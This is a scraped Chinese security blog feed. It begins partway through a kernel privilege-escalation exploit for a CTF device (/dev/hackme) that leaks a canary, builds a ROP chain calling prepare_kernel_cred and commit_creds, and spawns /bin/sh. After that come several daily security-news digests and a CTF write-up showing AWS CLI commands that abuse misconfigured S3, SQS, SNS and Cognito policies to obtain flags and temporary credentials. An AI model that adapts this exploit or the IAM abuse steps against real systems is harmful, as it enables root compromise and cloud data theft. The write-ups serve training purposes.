0xffffffff814c6410 T commit_creds -- [-3701815]
0xffffffff814c67f0 T prepare_kernel_cred -- [-3700823]
0xffffffff823d6b02: cmp rdi, 0xffffff; ret; -- [12094139]
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; -- [-1958308]
0xffffffff81006370: pop rdi; ret; -- [-8682711]
0xffffffff8100a55f: swapgs; pop rbp; ret; -- [-8665832]
0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; -- [494318]
0xffffffff814381cb: iretq; pop rbp; ret; -- [-4284028]
0xffffffff8150b97e: pop rsi; ret; -- [-3417801]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [-6607159]
*/
//iretq RIP|CS|RFLAGS|SP|SS
unsigned long user_cs,user_rflags,user_sp,user_ss;
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("***save state***");
printf("user_cs:0x%lx\n", user_cs);
printf("user_sp:0x%lx\n", user_sp);
printf("user_ss:0x%lx\n", user_ss);
printf("user_rflags:0x%lx\n", user_rflags);
puts("***save finish***");
}
void backdoor()
{
puts("***getshell***");
system("/bin/sh");
}int main()
{
save_state();
int fd = open("/dev/hackme", O_RDWR);
unsigned long buf[256];
read(fd, buf, 0x10 * 8);
for(int i = 0; i < 0x10; i++)
printf("i:%d\taddress:0x%lx\n",i, buf[i]);
unsigned long canary = buf[2];
unsigned long payload[256];
unsigned int index = 0;
for(int i = 0; i < (16); i ++)
payload[index++] = 0;
unsigned long leak_addr = buf[10];
printf("leak addr:0x%lx\n", leak_addr);
//iretq RIP|CS|RFLAGS|SP|SS
payload[index++] = canary;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = leak_addr - 8682711; //pop_rdi_ret
payload[index++] = 0;
payload[index++] = leak_addr - 3700823; //prepare_kernel_cred
payload[index++] = leak_addr - 3417801; //pop_rsi_ret
payload[index++] = 0;
payload[index++] = leak_addr - 8682711; //pop_rdi_ret
payload[index++] = 1;
payload[index++] = leak_addr + 494318; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret;
payload[index++] = 0;
payload[index++] = leak_addr - 1958308; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = leak_addr - 3701815; //commit_creds;
payload[index++] = leak_addr - 6607159 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp;
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)backdoor;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
write(fd, payload, index * 8);
}
网络安全日报 2023年07月04日
1、研究人员发现恶意软件RUSTBUCKET的新变种
https://www.elastic.co/cn/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket 近期,研究人员发现了恶意软件RUSTBUCKET的新变种。RUSTBUCKET是一种针对macOS系统的恶意软件家族,该新变种增加了曾经未观察到的持久化功能,这反映了该恶意软件仍处于开发阶段,并且该变种在VirusTotal平台中未被任何引擎检测到。RUSTBUCKET新变种通过在“/Users//Library/LaunchAgents/com.apple.systemupdate.plist”路径中添加一个plist
2、攻击者利用DNS TXT记录传播恶意软件
https://asec.ahnlab.com/en/54916/ DNS TXT记录是一种功能,允许域管理员将文本输入到DNS中,最初被用于记录人类可读的注释,现在则用于显示保存在DNS中的各类信息,例如垃圾邮件防护、域所有权验证等。在近期的一封网络钓鱼邮件中,研究人员发现其附件中的PPAM文件中存在一段宏代码,执行一个PowerShell命令以运行nslookup工具查询DNS TXT记录。攻击者在其DNS TXT命令中上传了各种命令,当DNS TXT记录被查询时这些命令将得到执行,从而达到传播恶意软件的目的。
3、Nessus插件存在权限提升漏洞
https://cybersecuritynews.com/nessus-plugin-flaw/ Tenable开发的Nessus是一款流行的漏洞扫描工具。近期,安全研究人员发现该工具的一个插件中存在权限提升漏洞,攻击者可以在文件系统中的特定位置放置二进制文件,以滥用插件提升权限,此漏洞的CVSS评分为6.3。Tenable已针对该漏洞发布安全补丁,并且Java检测和识别插件已进行更新,以防止此权限提升漏洞被攻击者利用。
4、谷歌浏览器发布114版本修复多个安全漏洞
https://chromereleases.googleblog.com/2023/06/stable-channel-update-for-desktop_26.html 谷歌浏览器发布了适用于Windows系统的114.0.5798.198/199版本以及适用于Mac和Linux系统的114.0.5735.198版本更新,该更新修复了多个安全漏洞。这些安全漏洞被标记为CVE-2023-3420、CVE-2023-3421、CVE-2023-3422。谷歌建议用户尽快将浏览器更新到最新版本,并表示关于这些安全漏洞的详细信息在大多数用户进行更新前将受到限制。
5、美敦力Paceart Optima系统存在严重的RCE漏洞
https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html Paceart Optima是一款在Windows服务器上运行的应用程序,该程序从心脏监控设备中收集、存储和检索数据,以帮助实现标准的工作流程。美敦力在Paceart Optime系统中的可选消息传递功能中发现了一个漏洞,若医疗服务机构在该系统中启动该服务,则未经授权的攻击者可以利用此漏洞执行远程代码执行或发起拒绝服务攻击,从而导致数据被窃取、删除或篡改,并可能进行进一步的网络攻击。该漏洞存在于Pa
6、研究人员称MOVEit漏洞导致超过1600万人的信息泄露
https://therecord.media/data-of-sixteen-million-exposed-moveit 安全研究人员称,迄今为止,已有1600多万人的信息被黑客利用MOVEit软件中的漏洞进行访问,而这一数字可能只是其中的一小部分。自今年6月1日以来,安全专家就该漏洞发出警告,自此之后美国和欧洲的数十家大型组织机构透露他们受到了该漏洞的影响。一名持续跟踪此次事件的研究人员表示,目前已确认的受害组织机构至少有158个,其中只有11个组织透露了受此次漏洞影响的人数,受影响的总人数可能远多于目前所知人数。
7、Activate Healthcare证实其患者的数据信息遭到泄露
https://www.jdsupra.com/legalnews/activate-healthcare-notifies-patients-7697622/ Activate Healthcare是一家总部位于美国伊利诺伊州的医疗保健供应商,该公司近期证实未经授权的攻击者在2023年4月22日及28日访问其计算机系统,并证实攻击者从计算机系统中窃取了一些文件,其中包含患者的信息。被窃取的患者信息可能包括姓名、社会保险号码、出生日期、地址、驾照号码和临床信息等,该公司已向受到此次数据泄露影响的患者发出了通知。
8、研究人员发现一种绕过语音身份认证的方法
https://uwaterloo.ca/news/media/how-secure-are-voice-authentication-systems-really 安全研究人员发现了一种攻击方法,该方法可以成功绕过语音身份认证,只需6次尝试便可达到99%的成功率。该团队识别了deepfake音频中的由计算机生成的标记,并开发了一个程序删除这些标记,从而无法对其生成的音频和真实音频进行区分。在最近针对Amazon Connect语音认证系统的测试中,他们在一次4秒的攻击中取得了10%的成功率,而在不到30秒的时间内,成功率达到40%以上。针对一些不太复杂的语音认证系统,他们在进行6次尝试后便
9、基于Flutter的安卓恶意软件,瞄准东亚市场
https://thehackernews.com/2023/06/fluhorse-flutter-based-android-malware.html Fortinet FortiGuard实验室研究员Axelle Apvrille在上周发表的一份报告中说,这种恶意软件的出现代表了一种重大转变,因为它直接将恶意组件纳入Flutter代码中。
10、Pornhub被指控在欧洲非法收集数据
https://cybernews.com/privacy/pornhub-accused-of-illegal-data-collection-in-europe/ 意大利已对Pornhub提起诉讼,指控该平台收集并与未知第三方共享有关用户性偏好的信息。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月03日
1、20万个WordPress网站遭利用“Ultimate Member”插件漏洞的攻击
https://www.securityweek.com/200000-wordpress-sites-exposed-to-attacks-exploiting-flaw-in-ultimate-member-plugin/ 攻击者利用 Ultimate Member 插件中的关键漏洞在 WordPress 网站上创建管理帐户。
2、MITRE 更新了 CWE 25 个最危险的软件漏洞
https://www.securityweek.com/mitre-updates-cwe-top-25-most-dangerous-software-weaknesses/ 在 2023 年 CWE Top 25 列表中,释放后使用漏洞和操作系统命令注入漏洞位列前 5 位最危险的软件漏洞。
3、LockBit 勒索组织声称攻击了台积电,并索要 7000 万美元赎金
https://www.securityweek.com/tsmc-says-supplier-hacked-after-ransomware-group-claims-attack-on-chip-giant/ LockBit 勒索软件组织声称对台积电 (TSMC) 进行了黑客攻击,但这家芯片巨头表示,只有其一家供应商遭到入侵。
4、Avast 发布了针对 Windows 版本 Akira 勒索软件的免费解密器
https://securityaffairs.com/148007/cyber-crime/akira-ransomware-decryptor.html Avast 发布了 Akira 勒索软件的免费解密器,可以让受害者无需支付赎金即可恢复数据。
5、伊朗MuddyWater组织使用新型C2框架PhonyC2进行网络攻击
https://www.deepinstinct.com/blog/phonyc2-revealing-a-new-malicious-command-control-framework-by-muddywater 伊朗政府支持的网络间谍组织MuddyWater(又称Mango Sandstorm或Mercury)自2021年起使用了一个名为PhonyC2的新型命令与控制(C2)框架,用于对目标进行渗透和数据窃取。该框架是用Python 3编写的,与MuddyWater之前使用的MuddyC3框架2有很多相似之处,但也有一些改进和更新。PhonyC2框架可以动态生成PowerShell后门,
6、俄罗斯黑客组织通过付费招募志愿者发动DDoS攻击
https://blog.sekoia.io/following-noname05716-ddosia-projects-targets/ DoSia是一个由支持俄罗斯的黑客组织NoName057(16)发起的众包项目,旨在通过付费招募志愿者,对西方目标进行分布式拒绝服务(DDoS)攻击。
7、SAP披露多个严重漏洞,包括可自动传播的利用链
https://sec-consult.com/blog/detail/responsible-disclosure-of-an-exploit-chain-targeting-the-rfc-interface-implementation-in-sap-application-server-for-abap/ SAP是一家提供企业软件解决方案的公司,其产品广泛应用于各行各业。近日,SAP公布了多个影响其产品的严重漏洞,其中最引人关注的是一条可自动传播的利用链,涉及四个漏洞。这条利用链可以让攻击者在没有任何身份验证的情况下,远程执行任意代码,并在SAP系统之间进行横向移动。
8、npm生态系统存在巨大漏洞,可能导致代码执行和数据泄露
https://blog.vlt.sh/blog/the-massive-hole-in-the-npm-ecosystem npm是一个流行的JavaScript包管理器,用于安装和管理开发者所需的各种模块和依赖。然而,近日,一位前npm CLI团队的工程师发现了一个影响npm生态系统的巨大漏洞,可能导致任意代码执行和数据泄露。这个漏洞的根源在于npm处理包清单(package.json)文件的方式。包清单文件是一个描述包属性和依赖的JSON文件,通常包含一些元数据,例如包名、版本、作者、许可证等。然而,npm允许包清单文件中包含任意字段,而不进行任何验证或过滤。这就导致了一个安全问题,即
9、攻击者通过恶意广告传播BlackCat勒索软件
https://www.trendmicro.com/en_us/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html 近期,安全研究人员发现攻击者伪造WinSCP的网页传播多种恶意软件,WinSCP是一个用于进行文件传输的开源Windows应用程序。此次攻击活动传播的恶意软件中包括BlackCat勒索软件,并且攻击者传播SpyBoy恶意软件以终止用户电脑中运行的反病毒安全产品。除此之外,攻击者还使用PuTTY传输收集的数据以达到数据泄露的目的。
10、研究人员发现活跃的代理劫持攻击活动
https://www.akamai.com/blog/security-research/proxyjacking-new-campaign-cybercriminal-side-hustle 研究人员发现了一个针对易受攻击的SSH服务器的代理劫持活动,通过代理劫持,攻击者不仅可以窃取资源,还能够利用受害者未使用的宽带以换取经济利益。此次攻击活动利用受感染的Web服务器传播必要的依赖项,检查受害服务器中是否存在竞品并进行终止,采用混淆技术以规避安全产品的检测。研究人员称,代理劫持已成为网络攻击者利用受感染设备获取经济利益的一种新的方式。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月30日
1、Arcserve UDP存在身份验证绕过漏洞利用代码公开
https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe Arcserve UDP是一种用于数据备份和恢复的软件,它支持多种平台和设备。近日,安全研究人员发现了Arcserve UDP的一个严重漏洞,编号为CVE-2023-26258,该漏洞允许攻击者绕过身份验证,执行任意命令,甚至完全控制受影响的系统。该漏洞影响了Arcserve UDP 7.0.0.0版本及以下,目前还没有官方的补丁或解决方案。安全研究人员已经在GitHub上公开了该漏洞的利用代码,提醒用户尽快升级或禁用Arcserve UDP服务,以防止被黑客攻击。
2、Microsoft Sysmon新增文件创建事件检测功能
https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-when-executables-files-are-created/ Microsoft Sysmon是一种Windows系统服务和设备驱动程序,它可以在系统重启后持续监控和记录系统活动到Windows事件日志中。它可以提供关于进程创建、网络连接、文件创建时间变化等方面的详细信息。最近,Microsoft Sysmon发布了14.14版本,新增了一个文件创建事件检测功能,该功能可以记录当一个文件被创建或覆盖时的相关信息,如文件名、路径、大
3、8Base勒索软件攻击美国和巴西企业
https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html 8Base是一种勒索软件组织,自2022年3月以来一直活跃,但在2023年6月出现了大幅的活动增长。8Base的攻击目标涵盖了多个行业,如商业服务、金融、制造和信息技术等。这个组织在其暗网泄露站上提供了受害者的详细信息,以及多种联系方式,包括Telegram频道和Twitter账号。8Base自称是“简单的渗透测试人员”,并使用“.8base”作为加密文件的扩展名。研究人员对8Base的勒索软件进行了分析,发现了一些有趣
4、手机监控应用 LetMeSpy 披露数据泄露事件
https://securityaffairs.com/147968/data-breach/letmespy-disclosed-security-breach.html 手机监控应用程序 LetMeSpy 披露了一个安全漏洞,威胁行为者窃取了与数千名 Android 用户相关的敏感数据,包括消息、位置、通话记录、电子邮件地址和电话号码。
5、美国专利商标局通知申请人长达数年的数据泄露
https://techcrunch.com/2023/06/28/uspto-trademark-data-api-leak/ 美国专利商标局 (USPTO) 在发给受影响商标申请人的通知中表示,他们的私人住所地址(通常是家庭住址)在 2020 年 2 月至 2023 年 3 月期间无意中出现在公共记录中。
6、WordPress 社交登录插件中的严重安全漏洞暴露了用户帐户
https://thehackernews.com/2023/06/critical-security-flaw-in-social-login.html miniOrange 的WordPress社交登录和注册插件中披露了一个严重的安全漏洞,该漏洞可能使恶意行为者能够在用户提供的任何有关电子邮件地址的信息已知的情况下进行登录。该身份验证绕过缺陷被追踪为 CVE-2023-2982(CVSS 评分:9.8),影响所有版本,包括 7.6.4 及之前的版本。该问题已于 2023 年 6 月 14 日得到解决,并于 2023 年 6 月 2 日负责任地披露后发布了 7.6.5 版本。
7、研究人员发现越流行的大语言模型越不安全
https://www.secrss.com/articles/56106 安全研究人员用OpenSSF记分卡对GitHub上50个最流行的生成式AI大语言模型项目的安全性进行了评估,结果发现越流行的大语言模型越危险。
8、新发现的基于 Windows 的恶意软件ThirdEye窃取敏感数据
https://thehackernews.com/2023/06/newly-uncovered-thirdeye-windows-based.html 一种名为ThirdEye的先前未记录的基于 Windows 的信息窃取程序已在野外被发现,具有从受感染主机获取敏感数据的能力。
9、报告称海底电缆遭受网络攻击的风险日益增加
https://www.infosecurity-magazine.com/news/submarine-cables-risk-cyber-attacks/ 一份新报告发现,海底通信电缆日益成为网络威胁行为者的目标,其事件可能会造成全球互联网的巨大破坏。
10、Linux 版本的 Akira 勒索软件针对 VMware ESXi 服务器
https://www.bleepingcomputer.com/news/security/linux-version-of-akira-ransomware-targets-vmware-esxi-servers Akira 勒索软件操作使用 Linux 加密器对 VMware ESXi 虚拟机进行加密,对全球各地的公司进行双重勒索攻击。Akira 首次 出现于 2023 年 3 月,针对各个行业的 Windows 系统,包括教育、金融、房地产、制造和咨询。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
IAM风险CTF挑战赛
wiz启动了一个名为“The Big IAM Challenge”云安全CTF挑战赛。旨在让白帽子识别和利用 IAM错误配置,并从现实场景中学习,从而更好的认识和了解IAM相关的风险。比赛包括6个场景,每个场景都专注于各种AWS服务中常见的IAM配置错误。
Challenge1:
Buckets of Fun
We all know that public buckets are risky. But can you find the flag?
查看提示获取本关的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow", //Effect(效果)设置为Allow(允许)
"Principal": "*", //Principal(主体)是所有用户("*")
"Action": "s3:GetObject", //获取对象
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" //指定S3存储桶中的所有对象
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket", //列出存储桶
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": { //条件是通过前缀限制只能列出以"files/"为前缀的对象
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}
该策略允许任何用户列出"thebigiamchallenge-storage-9979f4b"存储桶中符合前缀条件"files/"的对象。该策略存在如下安全风险:
1、允许任何用户对指定的S3存储桶执行GetObject操作以获取对象的内容。
2、允许任何用户对指定的S3存储桶执行ListBucket操作列出存储桶中符合指定前缀条件的对象
解题思路:
针对s3存储桶权限校验不严格,列出桶资源对象并使用查看对象内容获取flag。
1、获取该存储桶中的对象
aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
得知files目录下存在flag1.txt文件,将其下载到本地,这里提示Read-only file system(只读文件系统)错误,权限问题,我们将其下载到/tmp目录下:
aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/flag.txt
另外也可以直接网络访问获取:
http://s3.amazonaws.com/thebigiamchallenge-storage-9979f4b/files/flag1.txt
获得flag如下:
{wiz:exposed-storage-risky-as-usual}
Challenge2:
We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?
Join our queue and get the secret flag.
查看提示获取本关的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage", //发送消息
"sqs:ReceiveMessage" //接收消息
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
该IAM策略允许任何用户对特定的SQS队列执行SendMessage和ReceiveMessage操作,即发送和接收消息。该策略存在如下安全风险:
1、该策略将操作权限授予了所有用户("*"),意味着任何具有该策略的用户或角色都可以发送和接收消息。
2、该策略没有限制允许访问的用户、角色或其他条件。它允许所有用户执行SendMessage和ReceiveMessage操作。
解题思路:
针对授予特定SQS队列执行ReceiveMessage操作获取队列消息来查找flag。
1、接受消息队列中的信息
aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
2、获取html文件内容
https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html
获得flag如下:
{wiz:you-are-at-the-front-of-the-queue}
Challenge3:
Enable Push Notifications
We got a message for you. Can you get it?
查看提示并获取本关的IAM策略如下:
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*" //允许任何AWS用户
},
"Action": "SNS:Subscribe", //订阅操作
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications", //主题ARN
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io" //订阅条件
}
}
}
]
}
该策略允许任何AWS用户对指定的SNS主题(ARN为"arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications")进行订阅操作。订阅条件要求订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。该策略存在如下风险:
全局访问权限:该策略中指定了允许任何AWS用户("*")执行SNS订阅操作。这意味着任何具有有效的AWS凭证的用户都可以订阅该SNS主题。如果此策略不是有意为特定用户或实体设计的,可能存在风险,因为未经授权的用户可以执行订阅操作。
通配符条件:该策略中的条件指定订阅者的Endpoint必须以"*@tbic.wiz.io"结尾。然而,通配符条件可能过于宽松,允许任何以该域名结尾的Endpoint进行订阅,包括未经授权的Endpoint。这可能导致未经授权的实体订阅主题并接收敏感信息或滥用SNS服务。
潜在的信息泄露:由于该策略允许任何人订阅主题,如果主题包含敏感信息或重要通知,可能会导致信息泄露的风险。攻击者可以订阅主题并接收敏感信息,甚至利用该信息进行其他恶意行为。
解题思路:
1、订阅SNS主题
在订阅时由于调阅条件的限制,先尝试将订阅消息发送到email邮箱账号,但是由于我们没有以@tbic.wiz.io为后缀的邮箱账号,因此需要对此处进行绕过。
AWS用户可以使用SNS:Subscribe操作订阅指定的SNS主题:
aws sns subscribe --topic-arn <主题ARN> --protocol <协议> --notification-endpoint <订阅者Endpoint>
<主题ARN>为实际的SNS主题ARN。所使用的协议有HTTP、HTTPS、Email、SMS等,订阅者的Endpoint具体根据策略中的条件要求。
对该题目设置SNS订阅:
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol email --notification-endpoint research@tbic.wiz.io
2、订阅条件限制绕过
尝试使用http协议进行代理监听的方式获取订阅消息:
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol http --notification-endpoint http://43.155.79.163:8443/@tbic.wiz.io
接收到来自sns的订阅确认,消息提示点击SubscribeURL确认订阅消息,等待一会即可接收到附带flag的订阅消息:
获取到flag如下:
{wiz:always-suspect-asterisks}
Challenge4:
Admin only?
We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?
查看提示并获取本关的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}
该策略用于定义对 Amazon S3 存储桶的访问权限。其中包含了两个声明(Statement):
1、声明一允许任何用户存储桶执行GetObject操作,访问thebigiamchallenge-admin-storage-abf1321的s3储存桶资源。
2、声明二允许任何用户对S3存储桶执行ListBucket操作,列出存储桶中的对象。该声明有一个约束条件限制请求中的后缀必须以"files/" 开头,并且访问资源的主体是arn:aws:iam::133713371337:user/admin。
解题思路:
看到声明二中限制的访问资源主体是arn:aws:iam::133713371337:user/admin,便想着如何获取到该用户的凭据,然而在目前的环境中翻遍了各种配置文件和脚本文件都未发现相关凭据泄露,且当下凭据不能用于该访问主体。随后转变思路利用GetObject操作无限制进行目录Fuzz,Fuzz出如下路径:
/thebigiamchallenge-admin-storage-abf1321/files/
/thebigiamchallenge-admin-storage-abf1321/files/cache/
/thebigiamchallenge-admin-storage-abf1321/files/tmp/
https://s3.amazonaws.com/thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt
然后再深一次Fuzz,仍无flag相关结果,最终经瑞幸楼少提醒,发现了如下参数的妙用:
--no-sign-request
该参数可以用来执行无需身份验证的请求。使用该参数可以跳过对请求进行签名和身份验证的步骤,从而可以在某些情况下执行不需要验证的操作。
aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt /tmp/flag4.txt
获得flag如下:
{wiz:principal-arn-is-not-what-you-think}
Challenge5:
Do I know you?
We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.
查看提示并获取本关的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}
https://wiz-privatefiles.s3.amazonaws.com/
https://s3.amazonaws.com/wiz-privatefiles/
https://wiz-privatefiles.s3.amazonaws.com/soap/
如上策略有两个声明,VisualEditor0声明允许向MobileAnalytics服务发送事件数据以及对Cognito Sync服务执行任何操作,且对这两个服务中的所有资源都可以操作。VisualEditor1声明允许执行GetObject和ListBucket两个操作,来获取wiz-privatefiles存储桶中的对象并列出存储桶中的内容。
解题思路:
根据题目提示得知AWS Cognito服务为主要身份提供商,问题大概率出现在此处,通过搜索AWS Cognito配置错误看到一篇文章:
https://www.wangan.com/p/7fy7f8abba5c0234 //通过错误配置的AWS Cognito接管AWS帐户
结合该思路我们首先需要获取到该AWS Cognito服务的identity_pool_id:
梳理下常见的获取identity_pool_id方法:
1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。
2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id 的请求或响应。
3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。
4、通过分析应用程序日志,查找 identity_pool_id 的信息。有时日志文件会记录与身份池相关的操作或配置。
5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。
结合文章思路在前端页面获取到IdentityPoolId:
AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
获取到identity_pool_id通过脚本再获取AK密钥进行配置:
由于当前云终端权限限制的问题,改用本地进行配置及后续操作:
aws configure
aws configure set aws_access_key_id
aws configure set aws_secret_access_key
aws configure set aws_session_token ""
获取到Flag如下:
{wiz:incognito-is-always-suspicious}
Challenge6:
One final push
Anonymous access no more. Let's see what can you do now.
Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role
查看提示并获取本关的IAM策略如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}
该策略用于定义IAM角色的信任关系,当cognito-identity身份服务进行Web身份验证时,可以使用STS的AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份。此操作将验证来自cognito-identity身份服务的用户身份,并根据策略规定的条件和权限,为该用户生成一组临时凭证。这些临时凭证具有一定的时效性,可用于对 AWS 资源进行访问。
解题思路:
题目中提示不再有匿名访问且需要使用身份aws:iam::092297851374:role/Cognito_s3accessAuth_Role进行操作,策略信息也指明了cognito-identity验证中的aud必须是identity_pool_id为us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b。思路如下:
1、获取身份标识符identity-id
aws cognito-identity get-id --identity-pool-id "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
2、获取对应身份标识的令牌token
aws cognito-identity get-open-id-token --identity-id 获取到的identity-id
3、使用获取到的身份验证令牌指定目标角色来获取临时访问凭证
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌
4、根据获取到的AK密钥配置并获取flag
aws s3 ls
aws s3 ls s3://wiz-privatefiles-x1000
aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt -
获取到flag如下:
{wiz:open-sesame-or-shell-i-say-openid}
网络安全日报 2023年06月29日
1、Akira勒索软件开始针对Linux平台发起攻击
https://blog.cyble.com/2023/06/28/akira-ransomware-extends-reach-to-linux-platform/ Akira是一种新型的勒索软件,自2023年4月出现以来,已经攻击了多个行业的数十个组织,窃取和加密了他们的敏感数据。如果受害者不支付赎金,攻击者就会威胁在暗网上出售或泄露数据。值得注意的是,Akira勒索软件已经扩展了其攻击范围,包括了Linux平台。研究人员发现了一个复杂的Linux版本的Akira勒索软件。这个恶意的Linux可执行文件是一个64位的Linux Executable and Linkable Format
2、西门子能源在MOVEit数据窃取攻击后确认数据泄露
https://www.bleepingcomputer.com/news/security/siemens-energy-confirms-data-breach-after-moveit-data-theft-attack/ 西门子能源已经确认,在最近的Clop勒索软件数据窃取攻击中,使用了MOVEit Transfer平台的一个零日漏洞,导致数据被盗。Clop在其数据泄露网站上列出了西门子能源,表明该公司的数据在一次入侵中被窃取。虽然目前还没有数据被泄露,但西门子能源的一位发言人证实,他们是最近利用MOVEit Transfer零日漏洞(追踪为CVE-2023-34362)进行的Clo
3、大众汽车车载娱乐系统曝安全漏洞,可被远程控制
https://www.freebuf.com/news/370513.html 根据GitHub的一份报告,大众汽车Discover Media信息娱乐系统的漏洞是在2023年2月28日发现的。该漏洞可能会使未打补丁的系统遭到拒绝服务(DoS)攻击。该漏洞起初是由大众汽车的用户发现的,随后大众汽车方面确认了该漏洞,漏洞的标识为CVE-2023-34733。
4、Windows 11 将为 Windows Hello 提供内置密钥管理器
https://www.bleepingcomputer.com/news/microsoft/windows-11-is-getting-a-built-in-passkey-manager-for-windows-hello/ Microsoft 正在扩大对 Windows 11 中的密钥的支持,以便使用生物识别身份验证更安全地登录网站和应用程序。
5、为防止泄密,美国国会明确要求职员仅可使用付费版 ChatGPT
https://www.ithome.com/0/702/257.htm 据外媒 Axios 报道,美国众议院正对国会办公室提出一项新的要求:各办公室仅允许使用付费版的 ChatGPT Plus。
6、腾讯 QQ/TIM 存在本地提权漏洞,可通过QQProtect进程无感提权
